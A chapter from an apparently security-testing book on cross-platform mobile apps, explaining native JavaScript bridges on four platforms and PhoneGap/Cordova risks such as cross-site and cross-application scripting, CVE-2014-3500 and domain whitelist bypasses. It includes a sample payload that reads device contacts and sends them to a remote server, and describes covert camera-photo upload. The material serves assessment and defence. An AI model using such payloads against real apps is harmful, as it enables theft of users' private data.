CHAPTER 18
Cross-Platform Mobile Applications

This book has focused on the four mainstream mobile platforms: iOS, Android, Windows Phone, and BlackBerry. There is however a growing demand for mobile applications that can operate across multiple platforms. This topic is now explored in this chapter.

This chapter introduces the subject of cross-platform mobile applications, exploring why they are a growing trend and the benefits they bring to an organization. It also documents how cross-platform applications typically operate and expose native functionality, and how in some cases this can lead to serious vulnerabilities. The typical security considerations for cross-platform applications are then illustrated using one of the most common frameworks, PhoneGap.

Introduction to Cross-Platform Mobile Applications

Cross-platform mobile applications, or hybrid applications as they are also sometimes referred to, are apps that combine both web and mobile technologies to operate across multiple mobile platforms. This is typically achieved using platform-agnostic web programming languages such as HTML, JavaScript, and CSS that live in a platform-specific native container.

The individual cross-platform applications are developed using a framework that provides the native container and execution environment for the application; this is typically nothing more than an embedded, platform-specific web browser. For example, on iOS the embedded web browser is often just a UIWebView. However, the purpose of the framework doesn’t end there; it is also used to extend the functionality offered by HTML, JavaScript, and the like to allow access to the device’s native features, such as the camera, microphone, or other local resources.

The development of cross-platform mobile applications is a growing trend and one that we expect to continue to gain popularity in the future. There are a number of reasons why cross-platform mobile application development is becoming more prevalent, including but not limited to the following benefits:

  • Use of mature and widely adopted programming languages—As previously noted, cross-platform applications are typically developed using HTML, JavaScript, and CSS. These are all widely adopted languages familiar to web developers, meaning that the learning curve for developing a cross-platform application is relatively small. Furthermore, many organizations have existing web development teams, meaning that it is not necessary to hire new people with specialized skills.
  • Reduced development costs—Developing a mobile application has often meant that you need one development team per platform due to the specialized skills required and the diversification of programming languages. One of the biggest advantages of a cross-platform application is that almost all the code is reusable across different platforms, and rather than having to independently develop a solution for each platform, a single solution can be used. In most cases this can also be achieved using a single development team. This reduction in effort allows organizations to minimize overheads and keep project costs down.
  • Smoother release and update processes—One significant advantage that a cross-platform mobile application has over native applications is that they do not need to abide by the traditional release and update processes. For example, if you wanted to release an update for your application you may simply be able to push down a new version of the HTML/JavaScript code without the user having to reinstall or update the native application container.

However, there are some downsides to using cross-platform mobile applications and they may not be a suitable for all environments. For example, you may want to consider the following implications of using or developing a cross- platform app:

  • Speed—It stands to reason that as cross-platform applications are running in a web browser, they will be much slower than native applications because the code needs to be first interpreted and rendered before it is displayed in the browser, with the exception of platforms that use a native just-in-time (JIT) JavaScript engine.
  • Source code—One disadvantage of using a cross-platform mobile application is that since it is developed using client-side web languages, you give every user the source code to your app. If you want to develop an application that uses some proprietary implementation and theft of intellectual property is a concern for you, then a cross-platform mobile application is not a suitable method for your use case.

The market for cross-platform mobile application frameworks is relatively substantial and a number of different options are available. The one that best fits your needs will depend entirely on the use case for your application and the platforms that you want to support. Some of the popular frameworks include:

While many of the security considerations detailed in this chapter apply to all cross-platform mobile app frameworks, we will illustrate them using PhoneGap as an example.

The field of cross-platform mobile app security is an evolving one and, to date, significant investment in researching the subject is lacking. There is however one notable academic paper (http://www.cs.utexas.edu/~shmat/shmat_ndss14nofrak.pdf) that documents this area and is recommended background reading.

Bridging Native Functionality

One of the primary purposes of the native container is to provide a bridge from the web-based application code to the native resources on the device. Without the native bridge, the functionality the application can offer would be relatively limited. Cross-platform mobile app frameworks will typically expose APIs to JavaScript to facilitate access to local resources, such as the following:

  • The camera
  • The microphone
  • Contact lists
  • Media (e.g., photos and videos)
  • Geo-location information
  • Device orientation from the accelerometer

It is important to understand that the cross-platform application does not directly invoke the bridge. Instead, a platform-independent API is presented by the framework. This API acts as a bridge between the web layer and the local resource and provides a layer of abstraction so the application does not need to be aware of any specific platform dependencies. It is also worth bearing in mind that the bridge is two-way; the native container needs to be able to send results back to the web layer.

As you may have already guessed, a bridge between the web and local resources can have quite serious security implications. In particular, exploitation of cross-site scripting or man-in-the-middle vulnerabilities become quite devastating for an application as they can be used to access device resources.

This section will briefly introduce how cross-platform frameworks implement native bridges across the different platforms. This knowledge will be useful to you not only when assessing a cross-platform mobile application, but also when reviewing any native applications that implement their own custom bridges.

Exposing Native Functionality on Android

The subject of native bridges on Android was briefly introduced in Chapter 7. However, for completeness, an illustration of how cross-platform frameworks implement a two-way native bridge is described in this section.

The WebView class provides the native container for cross-platform applications on Android. Java objects can be injected in to the WebView and exposed to JavaScript using the addJavascriptInterface method. A simple example illustrating how this can be implemented follows:

webView = (WebView) findViewById(R.id.webView1); 
webView.addJavascriptInterface(new JavaScriptBridge(), "bridge"); 
webView.getSettings().setJavaScriptEnabled(true); 
webView.setWebChromeClient(new WebChromeClient()); 
webView.loadUrl("file:///android_asset/main.html"); 
 
public class JavaScriptBridge { 
 
    @JavascriptInterface 
    public String helloWorld() 
    { 
        return "Hello World!"; 
    } 
}

In this example the helloWorld() method can be invoked from JavaScript, using the following code:

var HelloWorld = window.bridge.helloWorld();

Since API version 17 only methods with the @JavascriptInterface annotation are available to JavaScript code. Prior to API version 17, reflection could be used to execute arbitrary code on the device (CVE-2012-6636), as documented in Chapter 7.

The addJavascriptInterface technique is not the only technique used to implement a native bridge. Another common strategy implemented by some cross-platform frameworks is to overwrite event handlers. This works from the native container, by overwriting the definition of what happens when the JavaScript alert prompt and confirm events are invoked, allowing a custom callback to be defined from the Java container. For example, to define what happens any time the JavaScript alert() function is invoked, you might use the following code:

@Override 
public boolean onJsAlert(WebView view, String url, String message, 
    final JsResult result) 
{ 
    //do something 
    return true; 
}

It is common to see other event handlers such as onJsConfirm() or onJsPrompt() also overridden in a similar way.

Exposing Native Functionality on iOS

Implementing a native bridge on iOS is slightly more complex than it is for Android because no API methods are explicitly defined for this purpose. There is however a common hack to use when a native bridge is required. This technique works by overloading the URL loading system so that arbitrary messages can be passed from JavaScript to a callback in the native UIWebView. Any time a URL is loaded within the Webview it invokes the shouldStartLoadWithRequest delegate method, which intercepts the full URL, including any parameters. The format of the URL is typically used to pass messages from JavaScript to the native container. For example, the following may be used to find a contact in the address book:

window.location = mybridge://addressbook/search/contact?firstname=peter

The native container then implements the shouldStartLoadWithRequest delegate of the Webview using code similar to the following:

- (BOOL)webView:(UIWebView*)webView 
shouldStartLoadWithRequest:(NSURLRequest*)request 
navigationType:(UIWebViewNavigationType)navigationType { 
    NSURL *URL = [request URL]; 
    if ([[URL scheme] isEqualToString:@"mybridge"]) { 
       // parse URL, extract host and parameters to define actions 
    } 
}

The shouldStartLoadWithRequest method would typically read in the URL, then separate and interpret each of the URL components to determine what actions it should take.

The URL loading technique, however, provides only a one-way bridge from the web layer to the native container. It is possible to create a bi-directional communication channel using a JavaScript callback and the stringByEvaluatingJavaScriptFromString method of the UIWebview class. For example, to execute a JavaScript method from the native container you might find code similar to the following:

[webView stringByEvaluatingJavaScriptFromString:   
@"receiveContact('%@','%@')",firstname,surname];

This simple example would cause the receiveContact() JavaScript function to be executed, passing the NSString objects "firstname" and "surname" to JavaScript. When used in conjunction with shouldStartLoadWithRequest, this technique is capable of providing a rudimentary bridge between the native and web layers.

Exposing Native Functionality on Windows Phone

Native bridges in Windows Phone are implemented using an event-driven system. Whilst disabled by default, a callback from the web layer to the native Silverlight container can be enabled. This is done by first enabling the IsScriptEnabled property in the project, then handling the ScriptNotify event. A simple example of how you would handle messages from JavaScript in your Silverlight WebBrowser control may look as follows:

private void WebBrowser_ScriptNotify (object sender, NotifyEventArgs e) 
{ 
    // e.get_Value() object contains the message, parse and do actions 
}

The type of messages passed to the ScriptNotify event is entirely specific to the cross-platform framework. However, it is common to see the messages encapsulated in XML or JSON. The JavaScript code triggers the ScriptNotify callback by invoking the notify() function:

window.external.notify(jsonMessage);

For the web layer to receive the results of any operations, the native Silverlight application needs a means to pass data to the JavaScript code. JavaScript can be executed directly in the DOM of the WebBrowser control using the InvokeScript method:

MyWebBrowser.InvokeScript("receiveContact", firstname, surname);

This example would execute the receiveContact() JavaScript function with the "firstname" and "surname" variables as arguments.

Exposing Native Functionality on BlackBerry

BlackBerry is slightly different than the other platforms in that it already provides a native to web-layer bridge for WebWorks applications. As detailed in Chapter 14, WebWorks are built upon the Apache Cordova framework and a set of standard Cordova APIs are provided (https://developer.blackberry.com/html5/apis/v2_2/). It is, however, possible to also build custom WebWorks extensions that bridge C/C++ and/or Qt code with the JavaScript and HTML5 web layer using JNEXT. This topic was detailed in Chapter 14 so will not be covered in this section.

Beyond WebWorks applications, it is also possible to create a native bridge in BlackBerry Cascades apps. Native bridges in Cascades applications can be implemented using the WebView class and the message passing handlers. JavaScript executing on the web-layer can first invoke the navigator.cascades.postMessage() method and store a message handler in the navigator.cascades.onmessage property. A simple example of this may look as follows:

navigator.cascades.postMessage("Message from javascript");

The native container must then define the messageReceived() signal handler with an appropriate slot in the C++ or QML code:

connectResult = connect(webView, SIGNAL(messageReceived(const  
                QVariantMap&)), this, SLOT(onMessageReceived(const  
                QVariantMap&))); 
[...] 
 
void WebViewBridge::onMessageReceived(const QVariantMap& message) 
{ 
    qDebug() << "message.origin: " << message["origin"]; 
    qDebug() << "message.data: " << message["data"]; 
}

To pass messages from the native container to JavaScript, arbitrary JavaScript can be executed in the WebView using the evaluateJavaScript() function:

webView->evaluateJavaScript("addContact(" + firstname + ","  
+ surname + ")");

This example illustrates how evaluateJavaScript() can be used to directly execute arbitrary JavaScript in a Webview. In this instance the addContact() JavaScript function is executed with the firstname and surname parameters passed as arguments. Combining this technique with a messageReceived() signal handler provides an effective means of creating a native bridge.

Exploring PhoneGap and Apache Cordova

Apache Cordova is an open-source framework for creating mobile applications. It originated from the PhoneGap application whose developers donated the PhoneGap source code to the Apache Software Foundation in 2011. PhoneGap is perhaps the most popular framework for creating cross-platform mobile applications with over 400,000 developers and one million downloads (http://phonegap.com/about/). PhoneGap currently supports a large number of mobile and desktop platforms, including Android, iOS, Windows Phone (7/8), BlackBerry, Windows 8, Tizen, Firefox OS, Ubuntu, and Amazon FireOS. PhoneGap applications are developed using HTML5, CSS3, and JavaScript.

This section will illustrate a number of security considerations for cross- platform mobile applications using Cordova and PhoneGap as practical examples.

Standard Features of PhoneGap

The PhoneGap API is relatively feature rich and provides access to many of the device’s native features, including the following:

  • Accelerometer—Accesses the device’s motion sensor
  • Camera—Captures a photo using the device’s camera
  • Compass—Obtains the direction the device is pointing
  • Contacts—Works with the device’s contact database
  • Filesystem—Hooks into the device’s filesystem
  • Geolocation—Accesses the device’s GPS location
  • Media—Accesses or records videos, audio, or images
  • Network—Accesses network information or performs network requests
  • Notifications—Accesses or issues visual device notifications

These features will be of interest to you when assessing a PhoneGap application as it gives you an idea of what features an attacker exploiting the app might be able to access. Any vulnerability that can be exploited to execute arbitrary script may allow the attacker to invoke the APIs for malicious purposes.

Here is a simple example of how you can use the PhoneGap API to take a photo using the device’s camera using the getPicture() API call (https://github.com/apache/cordova-plugin-camera/blob/master/doc/index.md):

navigator.camera.getPicture(this.onPhotoDataSuccess, this.onFail, { 
    quality: 50, 
    destinationType: Camera.DestinationType.DATA_URL, 
    sourceType: Camera.PictureSourceType.CAMERA 
});

This example will take a photo using the device’s camera and return a base64-encoded string to the onPhotoDataSuccess() callback. In a cross-site scripting attack of a PhoneGap application, a malicious payload could abuse this feature to take a photo and upload the base64-encoded image to an attacker-controlled server using XMLHttpRequest() or PhoneGap API FileTransfer.upload()method.

A malicious payload could also pilfer the device’s contact database using the PhoneGap Javascript API, a simple example of how you might search for a user named “Herman” and upload their contact information to a remote web server looks like this:

function onSuccess(contacts) { 
    var url = "http://www.mobileapphacker.com/getcontact"; 
    var params = "givenname="+contacts[0].name.givenName+  
                 "familyname="+contacts[0].name.familyName; 
    var http = new XMLHttpRequest(); 
    http.open("GET", url+"?"+params, true); 
}; 
 
function onError(contactError) { 
    alert('onError!'), 
}; 
 
var options      = new ContactFindOptions(); 
options.filter   = "Herman"; 
options.multiple = true; 
options.desiredFields = [navigator.contacts.fieldType.id]; 
var fields       = [navigator.contacts.fieldType.displayName, 
navigator.contacts.fieldType.name]; 
navigator.contacts.find(fields, onSuccess, onError, options);

The other features of PhoneGap can be accessed in a similar way; these examples serve to illustrate the simplicity with which powerful native functionality can be accessed using JavaScript.

PhoneGap and Cordova Security

Neither PhoneGap nor the Cordova framework has come under any close scrutiny from the security community. However, as these technologies are a blend of native mobile applications and web applications it will come as no surprise to you that much of what you have learned in the previous chapters is applicable to your testing methodology. A number of framework-specific security considerations that you should be aware of are detailed in this section.

Furthermore, as Cordova applications rely heavily on HTML5, there are a number of HTML5-specific security concerns that apply. These will not be covered in this section but are detailed at length by OWASP (https://www.owasp .org/index.php/HTML5_Security_Cheat_Sheet).

Cross-Application and Cross-Site Scripting Attacks

Cross-platform frameworks are heavily dependent on the Webview-embedded browser available across the different platforms. It also stands to reason that any situation whereby attacker-controlled data is populated into Webviews provides an opportunity for cross-application or cross-site scripting attacks. You should already have an understanding of how cross-site scripting (XSS) attacks work. Cross-application scripting (XAS) attacks are a similar type of attack but with a slight twist; in this attack the scripting is loaded into the Webview by another application. This type of attack can commonly occur in these scenarios:

  • Tainted content is loaded from a server-side web application (XSS) to the Webview
  • Arbitrary URLs passed from IPC mechanisms (XAS) are loaded
  • Arbitrary data is loaded via an IPC mechanism that is loaded into a Webview and dynamically populated into a JavaScript block or passed directly to eval() (XAS)

An example of such a vulnerability was found in Cordova on Android (and by association also PhoneGap) by David Kaplan and Roee Hay and is described in CVE-2014-3500. This specific issue allowed an arbitrary URL to be populated into a Cordova Webview when another third party application invoked an intent. The affected code existed in the CordovaWebView class, which had a loadUrl() method similar to the following code:

1  public void loadUrl(String url) { 
2      if(url.equals("about:blank") || url.startsWith("javascript:")) { 
3          this.loadUrlNow(url); 
4      } else{ 
5          String initUrl=this.getProperty("url",null); 
6 
7          if(initUrl==null){ 
8              this.loadUrlIntoView(url); 
9          } 
10         else{ 
11             this.loadUrlIntoView(initUrl); 
12         } 
13     } 
14 }

The vulnerable code loads the value of the initUrl parameter into the Webview, which is populated using the following method:

1  public String getProperty(String name, String defaultValue) { 
2      Bundle bundle=this.cordova.getActivity().getIntent().getExtras(); 
3      if(bundle==null){ 
4          return defaultValue; 
5      } 
6      Object p=bundle.get(name); 
7      if(p==null){ 
8          return defaultValue; 
9      } 
10     return p.toString(); 
11 }

Studying the previous code should make the vulnerability relatively obvious; launching the activity with an intent bundle that includes a malicious URL will cause it to be populated into the Webview. To find out more about how this issue was exploited you should refer to the whitepaper (https://www.slideshare .net/ibmsecurity/remote-exploitation-of-the-cordova-framework/).

Understanding Domain Whitelisting

Domain whitelisting is a security control present in PhoneGap and other Cordova-based applications. Domain whitelisting defines the external domains outside of the application’s control but to which access should be permitted. Domains that are whitelisted will have access to the Cordova JavaScript objects and corresponding Cordova bridge. The whitelist can be configured using the applications config.xml file, which may look as follows:

<access origin="https://mobileapphacker.com" />

This example would permit access to any resources on the mobileapphacker.com domain but not subdomains, and only when using the HTTPS protocol. Subdomains could be permitted using the subdomains="true" attribute.

An example of an insecure whitelist, which allows unrestricted access to any domain, would be:

<access origin="*" />

You should be aware that this is also the default configuration for a Cordova-based application.

Domain whitelisting is an important security control when defining the resources that an application can access. As you may recall from earlier chapters, due to the same origin policy any content loaded using the file:// protocol handler will have access to the filesystem. Therefore, any malicious third-party application that is able to exploit an XAS vulnerability and cause a URL from a shared resource on the local filesystem (e.g., /sdcard/) to be loaded, may be able to exploit the XAS issue to bypass sandbox restrictions and access content in the Cordova-based application’s sandbox.

In the past the whitelist restrictions have been found to be subvertible. For example, in Cordova 2.9.x it was discovered that substrings of the domain could be used to bypass the whitelist. For example, “https://mobileapphacker.com .evil.com” could be used to bypass a whitelist for “mobileapphacker.com”. This is because the Cordova pattern-matching engine was matching anything after the domain (i.e., https://mobileapphacker.com*) as valid. An attacker with the ability to create his own DNS records could then subvert this logic using a subdomain. This was fixed in Cordova 3.x.

There are also some platform-specific quirks that you should be aware of. For example, domain whitelisting is not supported on Android applications or devices that use API 10 or lower. While whitelisting can be bypassed in Windows Phone 7 and 8 applications by using an iframe or an XMLHttpRequest(), an attacker can load any domain in an iframe or with AJAX and that domain will have access to the Cordova bridge.

Iframes and Callbacks

When a whitelisted domain is loaded into the Webview, it has implicit access to the Cordova bridge. If, however, a whitelisted domain also loads content via an iframe the loaded content will also have access to the bridge. A simple example of that may be whitelisting an advertising network. If the ads are loaded by an iframe it may inadvertently expose the Cordova bridge to any third-party sites, meaning that a malicious ad could perform any actions that the Cordova application itself could perform. There is, however, one exception to this: when Cordova is used on iOS. In this case all URLs are intercepted.

Encrypted Storage

Cordova’s filesystem APIs do not support encryption. Instead, it relies on the default behavior of the platform. For example, Cordova applications running on iOS 7 or above will inherit the default data protection class C (kSecAttrAccessibleAfterFirstUnlock) for data at rest encryption. However, on some platforms, such as Windows Phone, where encryption is not supported by default, content may be stored on the filesystem in plaintext. This is obviously a problem for applications that require secure, persistent storage. There are various solutions to this problem, including native plugins that use SQLCipher or platform-specific workarounds using the Android keystore or iOS keychain. When assessing a Cordova-based application you should pay specific attention to any content that is persistently stored and investigate what, if any, encryption mechanisms are in place.

Summary

This chapter introduced the concept of cross-platform mobile applications and the various security concerns associated with this type of application.

A key consideration for cross-platform applications is whether or not a native bridge exists and, if so, whether it is exposed in any way. This chapter detailed the various methods of implementing native bridges across the different platforms. It also introduced the two most common methods of exploiting bridges: cross-application scripting and cross-site scripting.

Exploitation of cross-application or cross-site scripting vulnerabilities in cross-platform applications can be quite serious, particularly if a native bridge exists. Cross-platform frameworks, such as Cordova, use whitelisting to attempt to reduce the exposure of the bridge but in many cases this is not all encompassing and as you have learned in this chapter, can be bypassed in certain circumstances.

As the trend for developing cross-platform applications grows, it is likely that they will come under greater scrutiny from the security community in the future and other avenues of attack will be discovered.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.190.219.65